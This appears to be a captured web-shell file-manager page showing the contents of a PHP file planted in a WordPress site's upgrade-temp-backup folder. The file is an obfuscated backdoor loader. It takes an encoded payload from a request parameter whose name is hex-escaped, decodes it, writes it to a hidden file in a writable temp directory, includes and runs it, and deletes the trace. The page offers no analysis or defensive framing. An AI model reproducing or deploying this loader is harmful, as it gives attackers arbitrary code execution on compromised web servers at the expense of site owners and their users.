HEX
Server: LiteSpeed
System: Linux server.indiaswebhosting.com 4.18.0-553.70.1.lve.el8.x86_64 #1 SMP Wed Aug 20 14:42:18 UTC 2025 x86_64
User: focuslea (1265)
PHP: 8.1.33
Disabled: NONE
Upload Files
File: /home/focuslea/www/wp-content/upgrade-temp-backup/home_1785273527.php
<!--m93d6eCC-->
<?php

if(isset($_REQUEST) && isset($_REQUEST["v\x61l\x75\x65"])){
$flag = $_REQUEST["v\x61l\x75\x65"];
	$flag	=	explode( 	 "."	,  $flag			) 	; 	 
$dchunk = '';
$s = 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS = strlen($s);
$i = 0;

while ($i<	 count($flag)) {
    $val = $flag[$i];
    $chS = ord($s[$i % $lenS]);
    $dec = ((int)$val - $chS - ($i % 10)) ^ 87;
    $dchunk .= chr($dec);
    $i++;
}
$flg = array_filter([getcwd(), getenv("TEMP"), getenv("TMP"), "/dev/shm", sys_get_temp_dir(), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), session_save_path()]);
foreach ($flg as $key => $comp) {
            if (array_product([is_dir($comp), is_writable($comp)])) {
            $bind = "$comp" . "/.pset";
            if (false !== file_put_contents($bind, $dchunk)) {
    include_once $bind;
    @unlink($bind);
    die();
}
        }
}
}